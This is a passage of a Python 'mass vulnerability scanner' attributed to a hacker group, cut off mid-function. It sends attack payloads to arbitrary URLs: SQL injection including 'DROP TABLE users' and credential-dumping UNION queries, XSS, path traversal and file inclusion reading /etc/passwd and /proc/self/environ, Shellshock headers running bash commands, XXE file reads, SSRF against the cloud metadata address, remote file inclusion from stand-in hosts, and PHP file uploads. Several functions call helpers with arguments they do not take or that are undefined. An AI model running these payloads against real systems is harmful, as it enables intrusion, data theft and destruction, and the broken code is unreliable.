-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvulnscanner.py
2356 lines (2033 loc) · 91.6 KB
/
vulnscanner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
##########################################
# -*- coding: utf-8 -*- # Define the encoding of the script #
# usr/bin/env/python # Specify the interpreter for the script #
# Err0r_HB # Author information #
# Cyb3r Drag0nz Team / ByteBlitz # Team information #
# Release Date: 19/07/2024 # Release date of the script #
# Language: Python3 # Programming language used #
# Telegram: https:/t.me/hacking1337stuff # Contact information #
# Pourpose: Mass Vulnerability Scanner # Purpose of the script #
##########################################
"""
*
* Copyright (C) - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Err0r_HB <[email protected]>
* Member and Co-Founder of Cyber Drag0nz / ByteBlitz Team
*
"""
import os # Importing os to handle file and directory operations
import re # Import the 're' module for regular expressions
import requests # Importing the requests library to make HTTP requests
import argparse # Importing argparse to handle command-line arguments
import threading # Importing threading to handle multi-threading
import queue # Importing queue to manage a queue of URLs
from datetime import datetime # Importing datetime to handle date and time
import urllib3 # Importing urllib3 to handle HTTP requests
# Initialize global counters
total_scans = 0
vulnerabilities_found = 0
# Disabling SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Initialize global counters
total_scans = 0
vulnerabilities_found = 0
if os.name == "nt":
os.system("cls") # Clear the screen for Windows OS
else:
os.system("clear") # Clear the screen for Unix-like OS
os.system("color a") # Set the green colour
# Function to print the banner
def banner():
print(
f"""
\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░
\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;93m╔════╝\033[1;92m█\033[1;92m█\033[1;93m╔══\033[1;92m█\033[1;92m█\033[1;93m╗
\033[1;93m╚\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m╔╝\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m╔\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╔╝
\033[38;5;029m░\033[1;93m╚\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╔╝\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║╚\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;93m╔══╝\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m╔══\033[1;92m█\033[1;92m█\033[1;93m╗
\033[38;5;029m░\033[38;5;029m░\033[1;93m╚\033[1;92m█\033[1;92m█\033[1;93m╔╝\033[38;5;029m░\033[38;5;029m░\033[1;93m╚\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╔╝\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[1;93m╚\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m║\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;92m█\033[1;93m╗\033[1;92m█\033[1;92m█\033[1;93m║\033[38;5;029m░\033[38;5;029m░\033[1;92m█\033[1;92m█\033[1;93m║
\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;93m╚═╝\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[38;5;029m░\033[1;93m╚═════╝\033[38;5;029m░\033[1;93m╚══════╝╚═╝\033[38;5;029m░\033[38;5;029m░\033[1;93m╚══╝╚══════╝╚═╝\033[38;5;029m░\033[38;5;029m░\033[1;93m╚═╝
\033[48;5;21;38;5;10mPoC Mass Scanner for Multiple Vulnerabilities\033[0m
"""
)
# Defining constants for log directory and files
LOG_DIR = "logs"
LOG_FILE = os.path.join(LOG_DIR, "log.txt")
SUCCESS_FILE = os.path.join(LOG_DIR, "success.txt")
# Function to create log directory if it doesn't exist
def create_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
print_message("info", f"Log directory created: {LOG_DIR}")
# Function to log messages to a file
def log_message(message):
with open(LOG_FILE, "a") as log_file:
log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")
# Function to log success messages to a file
def success_message(message):
with open(SUCCESS_FILE, "a") as success_file:
success_file.write(
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n"
)
# Function to print messages to the console with color coding
def print_message(level, message):
colors = {
"info": "\033[1;94m",
"success": "\033[1;92m",
"warning": "\033[1;93m",
"error": "\033[1;91m",
"vulnerable": "\033[1;96m",
"listing": "\033[1;93m",
}
reset_color = "\033[0m"
colored_message = f"{colors[level]}[{level.upper()}] {message}{reset_color}"
print(colored_message)
# Remove ANSI color codes for logging
plain_message = re.sub(r"\033\[\d+(;\d+)*m", "", message)
log_message(f"[{level.upper()}] {plain_message}")
# Example usage
create_log_dir()
print_message("info", "This is an info message.")
print_message("success", "This is a success message.")
print_message("warning", "This is a warning message.")
print_message("error", "This is an error message.")
print_message("vulnerable", "This is a vulnerable message.")
print_message("listing", "This is a listing message.")
# Function to make HTTP requests
def make_request(url):
# Try to make a GET request to the provided URL
try:
response = requests.get(
url, verify=False
) # Disable SSL verification for simplicity
return (
response.text,
response.status_code,
) # Return the response text and status code
except requests.RequestException as e: # Catch any request exceptions
return None, None # Return None for both response text and status code
# Function to test for SQL Injection vulnerability
def test_sql_injection(url):
# Define a list of sophisticated SQL injection payloads
payloads = [
"%27", # URL encoded single quote
"' OR '1'='1", # Basic tautology
"'; DROP TABLE users--", # SQL command injection
"' UNION SELECT null, username, password FROM users--", # Union-based injection
"' OR 'x'='x", # Another tautology
"' OR 'x'='y", # False condition
"' OR 1=1--", # Another basic tautology
"' OR 1=1#", # Tautology with comment
"' OR 1=1/*", # Tautology with multi-line comment
"' OR SLEEP(5)--", # Time-based injection
"' OR BENCHMARK(1000000,MD5(1))--", # Time-based injection with benchmark
]
# Patterns that indicate successful SQL injection
success_patterns = [
"you have an error in your sql syntax",
"syntax error",
"unclosed quotation mark",
"mysql_fetch_array()",
"unexpected end of sql command",
"sql syntax",
"warning: mysql",
"unrecognized token",
"quoted string not properly terminated",
]
for payload in payloads:
full_url = f"{url}/?id={payload}" # Construct the full URL with the payload
try:
response = requests.get(
full_url, timeout=10
) # Make a request to the full URL with a timeout
body = (
response.text.lower()
) # Convert response body to lowercase for case-insensitive comparison
status = response.status_code
response_time = response.elapsed.total_seconds() # Get the response time
# Check if the response body contains any of the success patterns
if any(pattern in body for pattern in success_patterns):
continue # Skip to the next payload if a syntax error is detected
# Check for specific indicators of successful injection
if "error" not in body and status == 200:
success_message(
f"SQL Injection Vulnerable: {url}"
) # Print success message
return True # Return True indicating vulnerability
# Check for time-based SQL injection
if response_time > 5:
success_message(
f"Possible Time-based SQL Injection Vulnerable: {url}"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e:
print(f"Request failed: {e}")
continue # Skip to the next payload if a request error occurs
return False # Return False indicating no vulnerability
# Function to test for XSS vulnerability
def test_xss(url):
# Define a list of sophisticated XSS payloads
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<a href=\"javascript:alert('XSS')\">click me</a>",
"<svg/onload=alert('XSS')>",
"<body onload=alert('XSS')>",
"<iframe src=javascript:alert('XSS')>",
'<input type="text" value="" onfocus="alert(\'XSS\')">',
'<link rel="stylesheet" href="javascript:alert(\'XSS\')">',
"<div style=\"width: expression(alert('XSS'));\"></div>",
"<object data=\"javascript:alert('XSS')\"></object>",
]
# Define a list of query parameters to test
query_params = ["q", "search", "id", "page", "input"]
for payload in payloads:
for param in query_params:
full_url = (
f"{url}?{param}={payload}" # Construct the full URL with the payload
)
body, status = make_request(full_url) # Make a request to the full URL
if status != 200: # Skip further checks if the status is not 200
continue
# Check if the response body contains the payload or typical XSS indicators
if body:
# Check for the exact payload in the response body
if payload in body:
success_message(
f"XSS Vulnerable: {url} with payload: {payload}"
) # Print success message
return True # Return True indicating vulnerability
# Check for common XSS indicators in the response body
if re.search(
r"onerror=|javascript:|onload=|expression\(|src=javascript:|data=javascript:",
body,
re.IGNORECASE,
):
success_message(
f"XSS Vulnerable: {url} with payload: {payload}"
) # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
# Function to test for Path Traversal vulnerability
def test_path_traversal(url):
# Define a list of common path traversal payloads
payloads = [
"/../../../../etc/passwd",
"/../../../../../etc/passwd",
"/../../../../../../etc/passwd",
"/../../../../../../../etc/passwd",
]
# Initialize a flag to track if any payload is successful
is_vulnerable = False
# Iterate over each payload to test the URL
for payload in payloads:
full_url = f"{url}{payload}" # Construct the full URL with the payload
body, status = make_request(full_url) # Make a request to the full URL
# Check if the response body contains the root user entry
if body and "root:x" in body:
success_message(
f"Path Traversal Vulnerable: {url}"
) # Print success message
is_vulnerable = True # Set the flag to True indicating vulnerability
break # Exit the loop as we found a successful payload
return is_vulnerable # Return the flag indicating vulnerability
# Function to test for Directory Listing vulnerability
def test_directory_listing(url):
body, status = make_request(url) # Make a request to the provided URL
# Check if the response status indicates a successful request
if status != 200:
return (
False # Return False indicating no vulnerability if the status is not 200
)
# Check if the response body indicates directory listing
# Improved checks to reduce false positives
if body and (
"Index of /" in body
or "Directory listing for" in body
or "<title>Index of" in body
or "<h1>Directory Listing</h1>" in body
):
success_message(f"Directory Listing Enabled: {url}") # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
# Function to test for Command Injection vulnerability
def test_command_injection(url):
# Define a list of command injection payloads to test
payloads = [
"; ls", # Simple command injection payload
"| ls", # Alternative command injection payload using pipe
"$(ls)", # Command injection payload using command substitution
"`ls`", # Command injection payload using backticks
]
# Define a list of common directory names to look for in the response body
common_directories = ["bin", "etc", "tmp", "var"]
# Iterate over each payload to test for command injection
for payload in payloads:
full_url = (
f"{url}?cmd={payload}" # Construct the full URL with the current payload
)
body, status = make_request(full_url) # Make a request to the full URL
# Check if the response body contains any of the common directory names
if body:
for directory in common_directories:
if directory in body:
success_message(
f"Command Injection Vulnerable: {url}"
) # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
def test_lfi(url):
# List of common LFI payloads to test
payloads = [
"/etc/passwd",
"../etc/passwd",
"../../etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"/proc/self/environ",
"/proc/version",
"/proc/cmdline",
]
# Iterate over each payload to test for LFI
for payload in payloads:
full_url = f"{url}?file={payload}" # Construct the full URL with the payload
try:
body, status = make_request(full_url) # Make a request to the full URL
if (
status == 200 and body
): # Check if the response status is 200 and body is not empty
# Check for common LFI indicators in the response body
if "root:x" in body or "Linux version" in body or "PATH=" in body:
success_message(
f"LFI Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
except Exception as e:
# Log any errors encountered (assuming a log_message function exists)
log_message(f"Error testing {full_url}: {e}")
return False # Return False indicating no vulnerability
def test_rfi(url):
# Define multiple RFI payloads to test
payloads = [
"http://example.com/shell.txt",
"http://test.com/malicious.php",
"http://malicious.com/exploit.txt",
]
# Define custom headers to mimic a real browser request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Connection": "keep-alive",
}
# Iterate over each payload
for payload in payloads:
full_url = f"{url}?file={payload}" # Construct the full URL with the payload
try:
# Make a request to the full URL with a timeout and custom headers
response = make_request(full_url, headers=headers, timeout=10)
body, status = response # Unpack the response tuple
# Check if the response body contains specific patterns indicating RFI
if body and ("shell" in body or "malicious" in body or "exploit" in body):
success_message(
f"RFI Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
except Exception as e:
# Handle any exceptions that occur during the request
log_message(f"Request failed for {full_url}: {e}")
# If no payloads indicate vulnerability, return False
return False # Return False indicating no vulnerability
# Function to test for File Upload vulnerability
def test_file_upload(url):
# Define multiple test files for upload
test_files = [
("test.txt", "This is a test file"),
("test.php", "<?php echo 'test'; ?>"),
("test.html", "<html><body>Test</body></html>"),
]
# Define custom headers to mimic a real browser request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Connection": "keep-alive",
}
# Iterate over each test file
for filename, content in test_files:
files = {"file": (filename, content)} # Define the file to be uploaded
try:
# Make a POST request to upload the file with custom headers
response = requests.post(
url, files=files, headers=headers, verify=False, timeout=10
)
# Check if the file was uploaded successfully
if response.status_code == 200 and "file uploaded" in response.text.lower():
success_message(
f"File Upload Vulnerable: {url} with file {filename}"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e:
# Handle any request exceptions
log_message(f"Request failed for {url} with file {filename}: {e}")
# If no files indicate vulnerability, return False
return False # Return False indicating no vulnerability
# Function to test for Open Redirect vulnerability
def test_open_redirect(url):
# Define multiple open redirect payloads
payloads = [
"/redirect?url=http://malicious.com",
"/redirect?next=http://malicious.com",
"/redirect?target=http://malicious.com",
"/redirect?dest=http://malicious.com",
]
# Define custom headers to mimic a real browser request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Connection": "keep-alive",
}
# Iterate over each payload
for payload in payloads:
full_url = f"{url}{payload}" # Construct the full URL with the payload
try:
# Make a GET request to the full URL with custom headers
response = requests.get(
full_url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=10,
)
# Check if the response status code indicates a redirect and the location header contains the malicious URL
if (
response.status_code in [301, 302]
and "location" in response.headers
and "malicious.com" in response.headers["location"]
):
success_message(
f"Open Redirect Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e:
# Handle any request exceptions
log_message(f"Request failed for {full_url}: {e}")
# If no payloads indicate vulnerability, return False
return False # Return False indicating no vulnerability
# Function to test for Cross-Site Request Forgery (CSRF) vulnerability
def test_csrf(url):
# Define multiple CSRF payloads
payloads = [
'<html><body><form action="{}" method="POST"><input type="hidden" name="csrf" value=""><input type="submit"></form></body></html>'.format(
url
),
'<html><body><form action="{}" method="POST"><input type="hidden" name="token" value=""><input type="submit"></form></body></html>'.format(
url
),
'<html><body><form action="{}" method="POST"><input type="hidden" name="authenticity_token" value=""><input type="submit"></form></body></html>'.format(
url
),
]
# Define custom headers to mimic a real browser request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "text/html",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Connection": "keep-alive",
}
# Iterate over each payload
for payload in payloads:
try:
# Make a POST request with the CSRF payload and custom headers
response = requests.post(
url, data=payload, headers=headers, verify=False, timeout=10
)
# Check if the response status code is 200 and the response text does not indicate a missing CSRF token
if (
response.status_code == 200
and "csrf token missing" not in response.text.lower()
):
success_message(
f"CSRF Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e:
# Handle any request exceptions
log_message(f"Request failed for {url} with payload {payload}: {e}")
# If no payloads indicate vulnerability, return False
return False # Return False indicating no vulnerability
# Function to test for CRLF Injection vulnerability
def test_crlf(url):
payload = (
"%0D%0ASet-Cookie:mycookie=myvalue" # Define a simple CRLF injection payload
)
full_url = f"{url}?q={payload}" # Construct the full URL with the payload
try:
response = requests.get(
full_url, verify=False
) # Make a GET request to the full URL
if "mycookie=myvalue" in response.headers.get(
"Set-Cookie", ""
): # Check if the response headers contain the injected cookie
success_message(
f"CRLF Injection Vulnerable: {url}"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e: # Catch any request exceptions
return False # Return False indicating no vulnerability
return False # Return False indicating no vulnerability
# Function to test for Client-Side Template Injection (CSTI) vulnerability
def test_csti(url):
# List of CSTI payloads to test
payloads = [
"{{7*7}}", # Simple arithmetic payload
"{{7*'7'}}", # String multiplication payload
"{{7*'7'|length}}", # String length payload
"{{7*7*7}}", # More complex arithmetic payload
"{{7*7*7*7}}", # Even more complex arithmetic payload
]
# Expected results for the payloads
expected_results = ["49", "7777777", "7", "343", "2401"]
# Iterate over each payload
for payload, expected in zip(payloads, expected_results):
full_url = f"{url}?input={payload}" # Construct the full URL with the payload
try:
body, status = make_request(
full_url, timeout=5
) # Make a request with a timeout
except Exception as e:
log_message(f"Error making request to {full_url}: {e}") # Log the error
continue # Skip to the next payload
# Check if the response body contains the expected result of the CSTI payload
if body and expected in body:
success_message(
f"CSTI Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
# Function to test for Server-Side Request Forgery (SSRF) vulnerability
def test_ssrf(url):
# List of SSRF payloads to test
payloads = [
"http://localhost/server-status",
"http://127.0.0.1/server-status",
"http://169.254.169.254/latest/meta-data/",
"http://[::1]/server-status",
"http://0.0.0.0/server-status",
]
# Iterate over each payload
for payload in payloads:
full_url = f"{url}?url={payload}" # Construct the full URL with the payload
try:
body, status = make_request(
full_url, timeout=5
) # Make a request with a timeout
except Exception as e:
log_message(f"Error making request to {full_url}: {e}") # Log the error
continue # Skip to the next payload
# Check if the response body contains indicators of SSRF vulnerability
if body and ("Server Status" in body or "meta-data" in body):
success_message(
f"SSRF Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
# Function to test for XML External Entity (XXE) vulnerability
def test_xxe(url):
payloads = [
"""<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>""",
"""<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/hosts">]><foo>&xxe;</foo>""",
"""<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///proc/self/environ">]><foo>&xxe;</foo>""",
]
headers = {"Content-Type": "application/xml"} # Define the content type header
for payload in payloads:
try:
response = make_request(
url, data=payload, headers=headers, method="POST", timeout=5
) # Make a POST request with the XXE payload
except Exception as e: # Catch any request exceptions
log_message(
f"Error making request to {url} with payload: {e}"
) # Log the error
continue # Skip to the next payload
# Check if the response text contains indicators of XXE vulnerability
if (
"root:x" in response.text
or "127.0.0.1" in response.text
or "PATH=" in response.text
):
success_message(
f"XXE Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
# Function to test for Server-Side Template Injection (SSTI) vulnerability
def test_ssti(url):
# Define a list of SSTI payloads to test
payloads = [
"{{7*7}}", # Jinja2
"${{7*7}}", # Velocity
"#{7*7}", # Thymeleaf
"<%= 7*7 %>", # JSP
"#{7*7}", # Freemarker
"${{7*7}}", # Spring
"{{7*'7'}}", # Jinja2 string multiplication
"${{7*'7'}}", # Velocity string multiplication
]
# Expected results for the payloads
expected_results = [
"49", # Result of 7*7
"7777777", # Result of 7*'7'
]
for payload in payloads:
full_url = f"{url}?input={payload}" # Construct the full URL with the payload
body, status = make_request(full_url) # Make a request to the full URL
if body:
for result in expected_results:
if (
result in body
): # Check if the response body contains the expected result
success_message(
f"SSTI Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
return False # Return False indicating no vulnerability
# Function to test for HTTP Header Injection vulnerability
def test_http_header_injection(url):
# Define a list of HTTP header injection payloads to test
payloads = [
"User-Agent: () { :;}; echo; echo; /bin/bash -c 'cat /etc/passwd'", # Shellshock
"User-Agent: () { :;}; /bin/bash -c 'cat /etc/passwd'", # Shellshock variant
"User-Agent: () { :;}; /bin/bash -c 'echo vulnerable'", # Simple echo test
"User-Agent: () { :;}; /bin/bash -c 'id'", # Check for user id
"User-Agent: () { :;}; /bin/bash -c 'uname -a'", # Check for system info
]
# Expected results for the payloads
expected_results = [
"root:x", # Indicator of /etc/passwd content
"vulnerable", # Indicator of simple echo test
"uid=", # Indicator of user id
"Linux", # Indicator of system info
]
for payload in payloads:
headers = {
"User-Agent": payload
} # Define the user agent header with the payload
try:
response = requests.get(
url, headers=headers, verify=False
) # Make a GET request with the injected header
if response.text:
for result in expected_results:
if (
result in response.text
): # Check if the response text contains any expected result
success_message(
f"HTTP Header Injection Vulnerable: {url} with payload {payload}"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e: # Catch any request exceptions
continue # Continue to the next payload if an exception occurs
return False # Return False indicating no vulnerability
def test_subdomain_takeover(url):
# Define a list of indicators for subdomain takeover
indicators = [
"There isn't a GitHub Pages site here.", # GitHub Pages
"The specified bucket does not exist", # Amazon S3
"NoSuchBucket", # Amazon S3
"You're almost there!", # Heroku
"This is a placeholder for the subdomain", # Pantheon
"Domain not found", # Tumblr
"Sorry, this shop is currently unavailable.", # Shopify
"Do you want to register", # WordPress
"No such app", # Heroku
"No settings were found for this company", # Desk
"Fastly error: unknown domain", # Fastly
"The feed has not been found.", # FeedPress
"The thing you were looking for is no longer here", # Ghost
"The request could not be satisfied", # CloudFront
"No such site at this address", # Fly.io
"No such site", # Fly.io
"No such app", # Heroku
"No such site", # Netlify
"No such site", # Surge.sh
"No such site", # Vercel
]
try:
response = requests.get(
url, verify=False
) # Make a GET request to the provided URL
if response.text:
for indicator in indicators:
if (
indicator in response.text
): # Check if the response text contains any indicator
success_message(
f"Subdomain Takeover Vulnerable: {url} with indicator '{indicator}'"
) # Print success message
return True # Return True indicating vulnerability
except requests.RequestException as e: # Catch any request exceptions
return False # Return False indicating no vulnerability
return False # Return False indicating no vulnerability
# Function to test for Insecure Deserialization vulnerability
def test_insecure_deserialization(url):
# Define a list of insecure deserialization payloads
payloads = [
'{"username":"admin","password":"admin"}',
'{"user":"admin","pass":"admin"}',
'{"user":"admin","password":"admin"}',
'{"username":"admin","pass":"admin"}',
'{"role":"admin","access":"full"}',
]
headers = {"Content-Type": "application/json"} # Define the content type header
for payload in payloads: # Iterate over each payload
try:
response = requests.post(
url, data=payload, headers=headers, verify=False, timeout=5
) # Make a POST request with the deserialization payload and a timeout
# Check if the response text contains any indication of successful deserialization
if any(
keyword in response.text for keyword in ["admin", "full access", "role"]
):
success_message(
f"Insecure Deserialization Vulnerable: {url} with payload: {payload}"
) # Print success message with the specific payload
return True # Return True indicating vulnerability
except requests.RequestException as e: # Catch any request exceptions
error_message(
f"Request failed for {url} with payload: {payload}. Error: {e}"
)
continue # Continue to the next payload if an exception occurs
return False # Return False indicating no vulnerability
def test_http_parameter_pollution(url):
"""
Test for HTTP Parameter Pollution (HPP) vulnerability.
Args:
url (str): The URL to test for HPP vulnerability.
Returns:
bool: True if the URL is vulnerable, False otherwise.
"""
# Define a list of payloads with duplicate parameter names
payloads = [
"param1=value1¶m1=value2",
"param2=test¶m2=exploit",
"param3=foo¶m3=bar",
